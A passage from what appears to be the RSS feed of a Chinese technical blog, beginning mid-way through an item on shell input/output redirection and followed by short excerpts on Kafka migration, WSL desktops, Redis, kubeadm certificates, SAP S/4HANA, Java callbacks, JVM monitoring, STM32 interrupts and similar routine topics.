文件描述符英文缩写描述0STDIN标准输入1STDOUT标准输出2STDERR标准错误 这三个特殊文件描述符会处理脚本的输入和输出。shell用它们将shell默认的输入和输出导向到相应的位置，如下介绍： STDIN（标准输入） STDIN文件描述符代表shell的标准输入。对终端界面来说，标准输入是键盘。shell从STDIN文件描述符对应的键盘获得输入，在用户输入时处理每个字符在使用输入重定向符号（&amp;lt;）时，Linux会用重定向指定的文件来替换标准输入文件描述符，它会读取文件并提取数据，就好像是从键盘上键入的许多bash命令能接受STDIN的输入，尤其是没有在命令行上指定文件的话。如下是使用cat命令处理STDIN输入的数据的例子：&#xA;当在命令行上只输入cat命令时，它会从STDIN接受输入（键盘）。键盘输入一行，cat命令就会显示出一行，但我们也可以通过STDIN重定向符号强制cat命令接受来自另一个STDIN文件的输入，如下：&#xA;如上cat命令会用cat_txt文件中的行作为输入。我们还可以使用这种技术将数据输入到任何能从STDIN接受数据的shell命令中 STDOUT（标准输出） STDOUT文件描述符代表shell的标准输出。在终端界面上，标准输出就是终端显示器。shell的所有输出（包括shell中运行的程序和脚本）会被定向到标准输出中，也就是显示器&#xA;默认情况下，大多数bash命令会将输出导向STDOUT文件描述符，如下，我们可以用输出重定向来改变标准输出：&#xA;通过输出重定向符号，通常会显示到显示器的所有输出会被shell重定向到指定的重定向文件。我们也可以将数据追加到某个文件。这可以用&amp;gt;&amp;gt;符号来完成，如下：&#xA;who命令生成的输出会被追加到ls_txt文件中已有数据的后面，但是如果你对脚本使用了标准输出重定向，你还可能遇到一个特殊的问题，如下：&#xA;当命令生成错误消息时，shell并未将错误消息重定向到输出重定向文件。shell创建了输出重定向文件，但错误消息却显示在了显示器屏幕上。注意，在显示new_ls文件的内容时并没有任何错误。new_ls文件创建成功了，只是没有内容而已&#xA;shell对于错误消息的处理是跟普通输出分开的。如果我们创建了在后台模式下运行的shell脚本，通常必须依赖发送到日志文件的输出消息。用这种方法的话，如果出现了错误信息，这些错误信息也是不会出现在日志文件中的，需要换种方法来处理&#xA;STDERR（标准错误） shell通过特殊的STDERR文件描述符来处理错误消息。STDERR文件描述符代表shell的标准错误输出。shell或shell中运行的程序和脚本出错时生成的错误消息都会发送到这个位置默认情况下，STDERR文件描述符会和STDOUT文件描述符指向同样的地方（尽管分配给它们的文件描述符值不同）。也就是说，默认情况下，错误消息也会输出到显示器输出中但是从上面的例子可以看出，STDERR并不会随着STDOUT的重定向而发生改变。使用脚本时，我们常常会想改变这种行为，尤其是当希望将错误消息保存到日志文件中的时候，如下介绍 重定向错误 我们已经学习了如何用重定向符号来重定向STDOUT数据。重定向STDERR数据也没太大差别，只要在使用重定向符号时定义STDERR文件描述符即可。有如下几种办法实现 只重定向错误 STDERR文件描述符被设成2。选择只重定向错误消息时，只需要将该文件描述符值放在重定向符号前。该值必须紧紧地放在重定向符号前，否则不会工作，如下： ls -l badTXT 2&amp;gt; err.txt 如上，错误消息不会出现在屏幕上了。只需要注意：文件描述符值紧贴在重定向符号前，二者之间没有空白符，该命令生成的任何错误消息都会保存在输出文件中。用这种方法，shell会只重定向错误消息，而非普通数据。这里是另一个将STDOUT和STDERR消息混杂在同一输出中的例子，如下：&#xA;ls命令的正常STDOUT输出仍然会发送到默认的STDOUT文件描述符，也就是显示器。由于该命令将文件描述符2的输出（STDERR）重定向到了一个输出文件，shell会将生成的所有错误消息直接发送到指定的重定向文件中 重定向错误和数据 如果想重定向错误和正常输出，必须用两个重定向符号。需要在符号前面放上待重定向数据所对应的文件描述符，然后指向用于保存数据的输出文件，如下： ls -l err.txt new_ls badTXT 2&amp;gt; err01.txt 1&amp;gt; succ01.txt shell利用1&amp;gt;符号将ls命令的正常输出重定向到了succ01.txt文件，而这些输出本该是进入STDOUT的。所有本该输出到STDERR的错误消息通过2&amp;gt;符号被重定向到了err01.txt文件使用这种方法可以将脚本的正常输出和脚本生成的错误消息分离开来。这样就可以轻松方便地查看错误信息也可以将STDERR和STDOUT的输出重定向到同一个输出文件。为此bash shell提供了特殊的重定向符号&amp;amp;&amp;gt;，如下： ls -l err.txt new_ls badTXT &amp;amp;&amp;gt; normal.txt 当使用&amp;amp;&amp;gt;符时，命令生成的所有输出都会发送到同一文件，包括数据输出和错误。我们注意到其中错误消息出现的位置和预想中的不一样。badTXT文件（列出的最后一个文件）的这条错误消息出现在输出文件中的第一行。这是为了避免错误信息散落在输出文件中，相较于标准输出，bash shell自动赋予了错误消息更高的优先级。这样就可以集中查看错误信息 在shell脚本中重定向输出 可以在脚本中用STDOUT和STDERR文件描述符以在多个位置生成输出，只要简单地重定向相应的文件描述符就行了。有两种方法来在脚本中重定向输出： 临时重定向行输出永久重定向脚本中的所有命令 临时重定向 如果有意在脚本中生成错误消息，可以将单独的一行输出重定向到STDERR。所需要做的是使用输出重定向符来将输出信息重定向到STDERR文件描述符。在重定向到文件描述符时，必须在文件描述符数字之前加&amp;amp;，如下： echo &#34;</description>
    </item>
    <item>
      <title>国内超算中心官网</title>
      <link>https://bchobby.github.io/posts/bf2c4d9673c380da0e719bba8db7ccad/</link>
      <pubDate>Mon, 17 Apr 2023 15:50:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf2c4d9673c380da0e719bba8db7ccad/</guid>
      <description>目前国家级超算中心总共有10个，依次是&#xA;国家超级计算天津中心&#xA;中山大学国家超级计算广州中心&#xA;国家超算深圳中心&#xA;湖南大学国家超级计算长沙中心&#xA;国家超级计算济南中心&#xA;国家超级计算无锡中心&#xA;国家超级计算郑州中心&#xA;国家超级计算昆山中心暂时未找到&#xA;国家超算中心成都中心暂时未找到&#xA;国家超级计算西安中心&#xA;其他超算中心：&#xA;北京超级云计算中心&#xA;陕西空天超算中心有限公司&#xA;上海超级计算中心&#xA;乌镇之光超算中心(暂未找到)</description>
    </item>
    <item>
      <title>mac如何升级node版本</title>
      <link>https://bchobby.github.io/posts/a05bbfd35986c81cad51cb6844ece280/</link>
      <pubDate>Mon, 17 Apr 2023 15:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a05bbfd35986c81cad51cb6844ece280/</guid>
      <description>安装@vue-cli时被提示node版本低，那好吧，升级一下：&#xA;在这里我用的Node.js的多版本管理器n来升级的&#xA;1、sudo npm cache clean -f //清除nodejs的cache 2、sudo npm install -g n //使用npm安装n模块 3、npm view node versions // node所有版本 4、sudo n latest // 升级到最新版本 sudo n stable #升级到稳定版本 sudo n xx.xx #升级到具体版本号 在这里我升级到了15版本：sudo n 15.0.0&#xA;5、node -v查看一下 果然是v15.0.0，嘻嘻 结束啦。&#xA;转至：https://www.jianshu.com/p/acd316dceeb8</description>
    </item>
    <item>
      <title>【Kafka】记录一次基于connect-mirror-maker做的Kafka集群迁移完整过程</title>
      <link>https://bchobby.github.io/posts/105ad34023345acd82f53a71fb616d4a/</link>
      <pubDate>Mon, 17 Apr 2023 14:53:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/105ad34023345acd82f53a71fb616d4a/</guid>
      <description>文章目录 背景环境工具选型实操MM1MM2以MM2集群运行以Standalone模式运行 验证附录MM2配置表其他TODO 背景 一个测试环境的kafka集群，Topic有360+，Partition有2000+，部署在虚拟机上，由于多方面原因，要求迁移至k8s容器内（全量迁移），正好可以拿来练一下手。本文主要记录对MM1和MM2的实际操作过程，以及使用过程中遇到的问题及解决方案。&#xA;环境 source集群：kafka-2.6.0、2个broker、虚拟机&#xA;target集群：kafka-2.6.0、3个broker、k8s&#xA;工具：MM1（kafka-mirror-maker.sh）、MM2（connect-mirror-maker.sh）&#xA;需求：Topic名称不能改变、数据完整&#xA;条件：target集群需要开启自动创建Topic：auto.create.topics.enable=true&#xA;工具选型 本质上MM1是Kafka的消费者和生产者结合体，可以有效地将数据从源群集移动到目标群集，但没有提供太多其他功能。&#xA;并且在MM1多年的使用过程中发现了以下局限性：&#xA;静态的黑名单和白名单Topic信息不能同步，所有Topic同步到目标端都只有一个Partition必须通过手动配置来解决active-active场景下的循环同步问题（MM2为解决这个问题，也做了体验很不好的改动）rebalance导致的性能问题缺乏监控手段无法保证Exactly Once无法提供容灾恢复无法同步Topic列表，只能同步有数据的Topic MM2是基于kafka connect框架开发的。与其它的kafka connecet一样MM2有source connector和sink connetor组成，可以支持同步以下数据：&#xA;完整的Topic列表Topic配置ACL信息（如果有）consumer group和offset（kafka2.7.0之后版本才行）其他功能： 支持循环同步检测多集群自定义同步（同一个任务中，可以多集群同步：A-&amp;gt;B、B-&amp;gt;C、B-&amp;gt;D）提供可监控Metrics可通过配置保证Exactly Once… 实操 秉着实操前先演练的原则，我自己搭建了一个和目标集群相同配置的集群，用于验证不同工具的操作结果。有足够把握之后，再对目标集群实际操作。&#xA;MM1 执行 --help 查看参数选项：&#xA;[root@XXGL-T-TJSYZ-REDIS-03 bin]# ./kafka-mirror-maker.sh --help This tool helps to continuously copy data between two Kafka clusters. Option Description ------ ----------- --abort.on.send.failure &amp;lt;String: Stop Configure the mirror maker to exit on the entire mirror maker when a send a failed send.</description>
    </item>
    <item>
      <title>WSL使用图形界面（ubuntu）</title>
      <link>https://bchobby.github.io/posts/ff3a8cc70fb073bc04c78b23bdc682ef/</link>
      <pubDate>Mon, 17 Apr 2023 14:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff3a8cc70fb073bc04c78b23bdc682ef/</guid>
      <description>换源&#xA;首先更换Ubuntu的安装源，使用国内的源更快些，可以用清华源：&#xA;https://mirror.tuna.tsinghua.edu.cn/help/ubuntu/&#xA;换好源之后，执行以下命令&#xA;sudo apt update&#xA;sudo apt upgrade&#xA;安装xfce4&#xA;sudo apt install xfce4&#xA;（先前使用过apt install build-essential安装开发必要的工具，不知道是否有影响）&#xA;此处安装xfce4图形界面有两个原因：&#xA;一是因为该界面安装耗费的空间小，不到1GB，具体的没截图，相比其它图形界面动辄2GB而言……&#xA;二是因为用该界面主要是有一个图形界面可以使用spacemacs&#xA;安装xrdp&#xA;sudo apt install xrdp 配置 xrdp 端口&#xA;sudo sed -i ‘s/port=3389/port=3390/g’ /etc/xrdp/xrdp.ini&#xA;这里面 3389 是默认配置，这里将其改为 3390 是避免和 windows 的端口冲突。因为两边的端口号是通的，在 wsl 中开一个 8080 端口的 WebServer，在 windows 可以直接访问。&#xA;配置 xsession&#xA;sudo echo xfce4-session &amp;gt;~/.xsession&#xA;这一步其实是在告诉系统，开启桌面环境的时候开启什么桌面环境。&#xA;启动 xrdp&#xA;sudo service xrdp restart&#xA;远程连接&#xA;在 win10 开始菜单中搜远程桌面，或按win+r 后输入mstsc&#xA;在计算机后面输入 localhost:3390 点击连接，用户名这里用root。首次连接可能需要较长时间。</description>
    </item>
    <item>
      <title>Java——合并两个排序的链表</title>
      <link>https://bchobby.github.io/posts/56010f8318a27ed65b6668c4a60c47e2/</link>
      <pubDate>Mon, 17 Apr 2023 10:14:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56010f8318a27ed65b6668c4a60c47e2/</guid>
      <description>题目链接 牛客在线oj题——合并两个排序的链表&#xA;题目描述 输入两个递增的链表，单个链表的长度为n，合并这两个链表并使新链表中的节点仍然是递增排序的。&#xA;数据范围： 0≤n≤1000，−1000≤节点值≤1000&#xA;要求：空间复杂度 O(1)，时间复杂度 O(n)&#xA;如输入{1,3,5},{2,4,6}时，合并后的链表为{1,2,3,4,5,6}，所以对应的输出为{1,2,3,4,5,6}，转换过程如下图所示：&#xA;或输入{-1,2,4},{1,3,4}时，合并后的链表为{-1,1,2,3,4,4}，所以对应的输出为{-1,1,2,3,4,4}，转换过程如下图所示：&#xA;题目示例 示例1 输入：&#xA;{1,3,5},{2,4,6}&#xA;返回值：&#xA;{1,2,3,4,5,6}&#xA;示例2 输入：&#xA;{},{}&#xA;返回值：&#xA;{}&#xA;示例3 输入：&#xA;{-1,2,4},{1,3,4}&#xA;返回值：&#xA;{-1,1,2,3,4,4}&#xA;解题思路一 构造一个新的head和end指针，第一次比较list1的val和list2的val，如果list1的val小于list2的值，head和end等于list1节点，list1 = list1.next&#xA;否则head和end等于list2节点，list2 = list2.next&#xA;接下来继续遍历，如果list1的val小于list2的值，end.next = list1，end = end.next, list1 = list1.next&#xA;否则head和end等于list2节点，end.next = list2，end = end.next, list2 = list2.next&#xA;如果list1或者list2遍历到空了，那么就让end.next = 没空的那个链表&#xA;例如：&#xA;此时list1.val &amp;lt; list2.val，head 和 end等于list1, list1 = list1.next&#xA;继续比较，list2.val &amp;lt; list1.val, 则end.next = list2, end = end.</description>
    </item>
    <item>
      <title>linux shell命令</title>
      <link>https://bchobby.github.io/posts/04fb94aec2addb512bfa0792bab5f7fc/</link>
      <pubDate>Mon, 17 Apr 2023 08:31:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04fb94aec2addb512bfa0792bab5f7fc/</guid>
      <description>一、shell基本系统维护命令 （一）、man命令 1、使用man命令可以找到特定的联机帮助页，并提供简短的命令说明。一般语法格式为：&#xA;man commandname&#xA;2、联机帮助页提供了指定命令commandname的相关信息，包括：名称、函数、语法以及可选参数描述等。&#xA;无论帮助有多长，都遵循这个格式显示。在页面很多的情况下使用PageUp和PageDown键翻页。最后，使用“：q”退出帮助页面。&#xA;3、通常联机帮助信息包括以下几个部分：&#xA;(1)NAME：命令的名称&#xA;(2）SYNOPSIS：命令的语法格式&#xA;(3)DESCRIPTION：命令的一般描述以及用途&#xA;(4)OPTIONS：描述命令所有的参数或选项&#xA;(5)SEE ALSO：列出联机帮助页中与该命令直接相关或功能相近的其他命令&#xA;(6)BUGS：解释命令或其输出中存在的任何已知的问题或缺陷&#xA;(7)EXAMPLES：普通的用法示例&#xA;(8)AUTHORS：联机帮助页以及命令的作者&#xA;4、man 3 printf 查库函数&#xA;man 2 open 查系统调用&#xA;man -a open 会将系统中与open相关的都列出来&#xA;（二）、password命令 1) passwd&#xA;a. 出于系统安全考虑，Linux系统中的每一个帐号都必须同时具备用户名和密码。&#xA;b. 可以使用passwd命令，为已有账户重新修改用户口令。&#xA;c. 需要说明的是，超级用户root可以修改所有其他用户的口令，而普通用户只能修改自己的用户口令，&#xA;如果确要修改超级用户或其他用户口令的话，需要具有超级用户的权限。&#xA;d. passwd命令的一般语法格式为：&#xA;passwd username&#xA;2) 单独使用passwd命令，意为修改当前用户自己的口令。下面命令实例用于修改用户自己的口令。&#xA;linux@ubuntu:~$ passwd&#xA;Changing password for linux #修改当前用户口令&#xA;(current) UNIX password: #用户输入旧口令&#xA;Enter new UNIX password: #用户输入新口令&#xA;Retype new UNIX password: #确认新口令&#xA;passwd：已成功更新密码&#xA;（三）、su命令 a. su命令用于临时改变用户身份，具有其他用户的权限。普通用户可以使用su命令临时具有超级用户的权限；</description>
    </item>
    <item>
      <title>Redis 6.0的多线程是如何工作的</title>
      <link>https://bchobby.github.io/posts/8575d8c37da9ecf9b729e17593014c7c/</link>
      <pubDate>Sun, 16 Apr 2023 23:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8575d8c37da9ecf9b729e17593014c7c/</guid>
      <description>来了解下 6.0 版本中新出的多线程特性。&#xA;1、多线程处理网络IO，单线程执行命令 Redis 一直被大家熟知的就是它的单线程架构，虽然有些命令操作可以用后台线程或子进程执行（比如数据删除、快照生成、AOF 重写），但是，从网络 IO 处理到实际的读写命令处理，都是由单个线程完成的。&#xA;随着网络硬件的性能提升，Redis 的性能瓶颈有时会出现在网络 IO 的处理上，也就是说，单个主线程处理网络请求的速度跟不上底层网络硬件的速度。&#xA;为了应对这个问题，一般有两种方法。&#xA;第一种方法是，用用户态网络协议栈取代内核网络协议栈，让网络请求的处理不用在内核里执行，直接在用户态完成处理就行。&#xA;对于高性能的 Redis 来说，避免频繁让内核进行网络请求处理，可以很好地提升请求处理效率。但是，这个方法要求在 Redis 的整体架构中，添加对用户态网络协议栈的支持，需要修改 Redis 源码中和网络相关的部分（例如修改所有的网络收发请求函数），这会带来很多开发工作量。&#xA;而且新增代码还可能引入新 Bug，导致系统不稳定。所以，Redis 6.0 中并没有采用这个方法。&#xA;第二种方法就是采用多个 IO 线程来处理网络请求，提高网络请求处理的并行度。Redis 6.0 就是采用的这种方法。&#xA;但是，Redis 的多 IO 线程只是用来处理网络请求的，对于读写命令，Redis 仍然使用单线程来处理。&#xA;Redis 处理请求时，网络处理经常是瓶颈，通过多个 IO 线程并行处理网络操作，可以提升实例的整体处理性能。而继续使用单线程执行命令操作，就不用为了保证 Lua 脚本、事务的原子性，额外开发多线程互斥机制了。&#xA;这样一来，Redis 线程模型实现就简单了。&#xA;2、主线程和IO线程如何写作 我们来看下，在 Redis 6.0 中，主线程和 IO 线程具体是怎么协作完成请求处理的。&#xA;为了方便你理解，我们可以把主线程和多 IO 线程的协作分成四个阶段。&#xA;阶段一：服务端和客户端建立 Socket 连接，并分配处理线程&#xA;首先，主线程负责接收建立连接请求。当有客户端请求和实例建立 Socket 连接时，主线程会创建和客户端的连接，并把 Socket 放入全局等待队列中。紧接着，主线程通过轮询方法把 Socket 连接分配给 IO 线程。&#xA;阶段二：IO 线程读取并解析请求&#xA;主线程一旦把 Socket 分配给 IO 线程，就会进入阻塞状态，等待 IO 线程完成客户端请求读取和解析。因为有多个 IO 线程在并行处理，所以，这个过程很快就可以完成。</description>
    </item>
    <item>
      <title>kubeadm证书过期更新</title>
      <link>https://bchobby.github.io/posts/7127127a3ca8cfb76c5a9d106b8ee086/</link>
      <pubDate>Sun, 16 Apr 2023 23:27:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7127127a3ca8cfb76c5a9d106b8ee086/</guid>
      <description>[root@k8s01 ~]# openssl x509 -in /etc/kubernetes/pki/ca.crt -noout -text |grep Not&#xA;Not Before: Jan 10 09:56:12 2022 GMT&#xA;Not After : Jan 8 09:56:12 2032 GMT&#xA;[root@k8s01 ~]# openssl x509 -in /etc/kubernetes/pki/apiserver.crt -noout -text |grep Not&#xA;Not Before: Jan 10 09:56:12 2022 GMT&#xA;Not After : Jan 10 09:56:13 2023 GMT&#xA;#ca证书有效期10年，apiserver证书有效期1年&#xA;kubeadm 生成的证书有效期为 1 年，该脚本可将 kubeadm 生成的证书有效期更新为 10 年&#xA;该脚本只处理 master 节点上的证书，node 节点的 kubelet 证书默认自动轮换更新，无需关心过期问题，只需关心 master 节点上的证书即可&#xA;该脚本仅需要在 master 节点执行，无需在 node 节点执行</description>
    </item>
    <item>
      <title>Redis高可用之哨兵挂了，主从库还能切换吗</title>
      <link>https://bchobby.github.io/posts/0a178b66ece7f32e4afc8d36bc1b7968/</link>
      <pubDate>Sun, 16 Apr 2023 23:19:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a178b66ece7f32e4afc8d36bc1b7968/</guid>
      <description>通过部署多个实例，就形成了一个哨兵集群，哨兵集群中的多个实例共同判断，可以降低对主库下线的误判率。&#xA;考虑一个问题：如果有哨兵实例在运行时发生了故障，主从库还能正常切换吗？&#xA;实际上，一旦多个实例组成了哨兵集群，即使有哨兵实例出现故障挂掉了，其他哨兵还能继续协作完成主从库切换的工作，包括判定主库是不是处于下线状态，选择新主库，以及通知从库和客户端。&#xA;支持哨兵集群关键机制，包括：&#xA;基于 pub/sub 机制的哨兵集群组成过程基于 INFO 命令的从库列表，这可以帮助哨兵和从库建立连接基于哨兵自身的 pub/sub 功能，这实现了客户端和哨兵之间的事件通知 1、基于 pub/sub 机制的哨兵集群组成 哨兵实例之间可以相互发现，要归功于 Redis 提供的 pub/sub 机制，也就是发布 / 订阅机制。&#xA;哨兵只要和主库建立起了连接，就可以在主库上发布消息了，比如说发布它自己的连接信息（IP 和端口）。同时，它也可以从主库上订阅消息，获得其他哨兵发布的连接信息。当多个哨兵实例都在主库上做了发布和订阅操作后，它们之间就能知道彼此的 IP 地址和端口。&#xA;除了哨兵实例，我们自己编写的应用程序也可以通过 Redis 进行消息的发布和订阅。所以，为了区分不同应用的消息，Redis 会以频道的形式，对这些消息进行分门别类的管理。&#xA;在主从集群中，主库上有一个名为“sentinel:hello”的频道，不同哨兵就是通过它来相互发现，实现互相通信的。&#xA;在下图中，哨兵 1 把自己的 IP（172.16.19.3）和端口（26579）发布到“sentinel:hello”频道上，哨兵 2 和 3 订阅了该频道。那么此时，哨兵 2 和 3 就可以从这个频道直接获取哨兵 1 的 IP 地址和端口号。&#xA;然后，哨兵 2、3 可以和哨兵 1 建立网络连接。通过这个方式，哨兵 2 和 3 也可以建立网络连接，这样一来，哨兵集群就形成了。&#xA;有了 pub/sub 机制，哨兵和哨兵之间、哨兵和从库之间、哨兵和客户端之间就都能建立起连接了，基本可以正常工作了。&#xA;2、由哪个哨兵执行主从切换？ 确定由哪个哨兵执行主从切换的过程，和主库“客观下线”的判断过程类似，也是一个“投票仲裁”的过程。&#xA;哨兵集群要判定主库“客观下线”，需要有一定数量的实例都认为该主库已经“主观下线”了。&#xA;任何一个实例只要自身判断主库“主观下线”后，就会给其他实例发送 is-master-down-by-addr 命令。接着，其他实例会根据自己和主库的连接情况，做出 Y 或 N 的响应，Y 相当于赞成票，N 相当于反对票。</description>
    </item>
    <item>
      <title>S4 HANA 1511的BP角色创建及供应商数据的创建方法</title>
      <link>https://bchobby.github.io/posts/289cb08b621543cfdac7eef964a5f683/</link>
      <pubDate>Sun, 16 Apr 2023 21:58:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/289cb08b621543cfdac7eef964a5f683/</guid>
      <description>正文部分 创建BP角色：BAPI_BUPA_CREATE_FROM_DATA&#xA;单独添加BP角色：BAPI_BUPA_ROLE_ADD_2&#xA;创建供应商数据的方法：&#xA;LO_DATA-&amp;gt;CREATE_VENDOR_DATA&#xA;VMD_EI_API=&amp;gt;MAINTAIN_BAPI&#xA;S4版本一版接着一版更新&#xA;所以，不要深究那么多，因为下一个版本又不一样了&#xA;从后勤物流角度来看，后勤主要主数据是客户主数据和供应商主数据。我们在S/4HANA中学到的第一件事是客户 - 供应商集成（CVI），也称为业务合作伙伴（BP)。&#xA;在传统SAP ERP中，客户和供应商是作为两个不同的功能存在的。而在SAP S/4 HANA中，将两者统一维护为Business partner。所以传统的ERP系统中的事务代码都将被废弃，在SAP S/4 HANA 中统一通过事务代码BP使用角色的方式来实现的。&#xA;所以，传统SAP ERP 用户在转换为SAP S/4 HANA时，是需要对客户和供应商的主数据做调整的。&#xA;一，什么是业务伙伴(Business Partner)？&#xA;正如我们在SAP ECC解决方案中所知道的，客户和供应商主数据分为三个视图。&#xA;客户主数据&#xA;一般视图 General view&#xA;财务视图 Finance view&#xA;销售视图 Sales view&#xA;供应商主数据&#xA;一般视图 General view&#xA;财务视图 Finance view&#xA;采购视图 Purchasing view&#xA;两者都是业务伙伴，例如：房地产行业，谁是他们的业务合作伙伴。&#xA;房东是业务伙伴&#xA;租户是业务伙伴&#xA;经纪人是业务伙伴&#xA;贷款人是他们的业务伙伴。&#xA;所有这些都可能不需要销售数据，财务数据或采购数据。可能需要不同的数据集。像CRM，SCM，SRM这样的新的维度模块需要所有业务伙伴的更加集成的视图。&#xA;所以SAP已经围绕客户和供应商数据创建了一个名为业务伙伴的外壳。首先，我们创建了一个业务伙伴，其中存储了诸如名称，地址等基本数据，如果我们希望将此业务合作伙伴扩展为客户/供应商，则我们将该业务伙伴的角色扩展到客户/供应商或两者。 S/4HANA的业务合作伙伴并不是一个新概念，在S/4HANA之前就已经有了。唯一的区别是S/4HANA是业务合作伙伴是强制性的。这是先决条件。&#xA;在ECC中&#xA;客户和供应商的主数据创建了使用以下方式：&#xA;客户主数据使用事务XD01，VD01，FD01创建&#xA;供应商主数据使用事务Xk01，Fk01，Mk01创建&#xA;与之交易的业务合作伙伴使用事务“BP”&#xA;在S/4HANA中&#xA;“BP”仍然保留，但客户XD01，VD01，FD01和创建供应商的Xk01，Fk01，Mk01的事务已过时。当您尝试使用这些事务码创建客户或供应商时，系统将重定向到事务“BP”。&#xA;主要的区别是S/4HANA是业务合作伙伴 BP 是强制性的。&#xA;二，为客户和供应商创建业务合作伙伴&#xA;创建客户或供应商的第一步是创建业务合作伙伴。 创建业务伙伴的交易事务码是 “BP”。 您可以通过三种方式创建业务伙伴。</description>
    </item>
    <item>
      <title>如何在Java中使用同步回调和异步回调</title>
      <link>https://bchobby.github.io/posts/39705d58a867c195988d4665dc51deb7/</link>
      <pubDate>Sun, 16 Apr 2023 20:24:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39705d58a867c195988d4665dc51deb7/</guid>
      <description>文章目录 （一）同步回调（1）匿名内部类回调（2）Lambda 回调 （二）异步回调（1）简单的线程回调（2）异步并行回调（3）CompletableFuture 回调 小结完整代码 Java 中的回调操作是一个函数传递给另一个函数并在某个操作完成后执行。回调可以同步或异步执行。在同步回调的情况下，一个函数紧接着另一个执行。在异步回调的情况下，一个函数在不确定的时间段后执行，并且与其他函数没有特定的顺序发生。 （一）同步回调 同步回调函数将始终在执行某些操作后立即执行。这意味着它将与执行该操作的函数同步。&#xA;在观察者设计模式中可以找到回调函数的示例。在需要单击按钮以启动某些操作的应用界面中，我们可以将回调函数作为该按钮单击的监听器传递。监听器函数等待按钮被单击，然后执行监听器回调。&#xA;（1）匿名内部类回调 每当我们将带有方法实现的接口传递给 Java 中的另一个方法时，我们都在使用回调函数的概念。在下面的代码中，我们将通过 Consumer 功能接口和一个匿名内部类（没有名称的实现）来实现 accept() 方法。&#xA;实现 accept() 方法后，我们将执行 performAction 方法中的操作；然后我们将从 Consumer 接口执行 accept() 方法：&#xA;import java.util.function.Consumer; /** * 同步场景下匿名内部类的方式实现回调 * * @author zhangyu * @date 2023/4/16 */ public class AnonymousClassCallback { public static void main(String[] args) { performAction(new Consumer&amp;lt;String&amp;gt;() { @Override public void accept(String s) { System.out.println(s); } }); } public static void performAction(Consumer&amp;lt;String&amp;gt; consumer) { System.</description>
    </item>
    <item>
      <title>Prometheus&#43;Grafana从0到1搭建jvm监控</title>
      <link>https://bchobby.github.io/posts/2aa2f278745e4f033c911fcfda31eb91/</link>
      <pubDate>Sun, 16 Apr 2023 19:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aa2f278745e4f033c911fcfda31eb91/</guid>
      <description>目 录 1. 准备工作2. 添加配置2.1 添加maven依赖2.2 application.properties增加配置2.3 新增配置类2.4 配置Prometheus2.5 配置Grafana 3. 小结 在上一篇博客《 Prometheus+Mysqld_exporter+Grafana从0到1搭建MySQL的可视化监控》，我们完成了对数据库的可视化监控搭建，今天我们接着实现对 jvm 的监控，废话不多说，下面开整。 1. 准备工作 对于 jvm 的监控，我们不需要数据库数据采集工具 Mysqld_exporter ，因此如果只是搭建对 jvm 的监控，那这个东西是可以去掉。&#xA;安装Prometheus安装Grafana使用 IDEA 新建一个 springboot 项目 由于在上一篇博客我已经安装了 Prometheus 和 Grafana ，这里就不再重复安装了，直接跳过。&#xA;至于 springboot 项目，我这里也直接使用一个我以前创建的项目《Springboot整合MybatisPlus》，服务能正常启动就行，不需要太复杂。&#xA;2. 添加配置 2.1 添加maven依赖 在 springboot 项目的 pom.xml 文件中，添加对普罗米修斯的依赖，将依赖包导入到项目中。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.micrometer&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;micrometer-registry-prometheus&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.2 application.properties增加配置 #搭建jvm监控的配置信息 spring.application.name=spring-boot-mybatis-plus management.endpoints.web.exposure.include=* management.metrics.tags.application=${spring.application.name} 2.3 新增配置类 新增一个配置类 JvmMonitorConfig.java ，如下所示&#xA;package com.yuhuofei.config; import io.</description>
    </item>
    <item>
      <title>STM32 gpio外部中断详解</title>
      <link>https://bchobby.github.io/posts/16fc3d410c13cd8920c45af1a19be39a/</link>
      <pubDate>Sun, 16 Apr 2023 19:11:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16fc3d410c13cd8920c45af1a19be39a/</guid>
      <description>什么是中断？ 打断CPU执行正常的程序，转而处理紧急程序，然后返回原暂停的程序继续运行，就叫中断&#xA;中断的作用和意义 中断的意义：高效处理紧急程序，不会一直占用CPU资源&#xA;STM32 GPIO外部中断简图 NVIC 什么是 NVIC？NVIC 即嵌套向量中断控制器，全称 Nested vectored interrupt controller。它&#xA;是内核的器件。&#xA;M3/M4/M7 内核都是支持 256 个中&#xA;断，其中包含了 16 个系统中断和 240 个外部中断，并且具有 256 级的可编程中断设置。然而芯&#xA;片厂商一般不会把内核的这些资源全部用完，如 STM32F407 的系统中断有 10 个，外部中断有&#xA;82 个。&#xA;关于 82 个外部中断部分在《STM32F4xx 参考手册_V4（中文版）.pdf》的 10.2 小节有详细&#xA;的列表，这里就不列出来了。STM32F407 的中断向量表在 stm32f407xx.h 文件中被定义。&#xA;NVIC 寄存器 NVIC 相关的寄存器定义了可以在 core_cm4.h 文件中找到。我们直接通过程序的定义来分&#xA;析 NVIC 相关的寄存器，其定义如下：&#xA;typedef struct { __IOM uint32_t ISER[8U]; /*!&amp;lt; Offset: 0x000 (R/W) Interrupt Set Enable Register */ uint32_t RESERVED0[24U]; __IOM uint32_t ICER[8U]; /*!</description>
    </item>
    <item>
      <title>Samba文件共享服务器的配置</title>
      <link>https://bchobby.github.io/posts/a4c3e1ef29079c5b0e183d8f5dbc13e1/</link>
      <pubDate>Sun, 16 Apr 2023 17:34:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4c3e1ef29079c5b0e183d8f5dbc13e1/</guid>
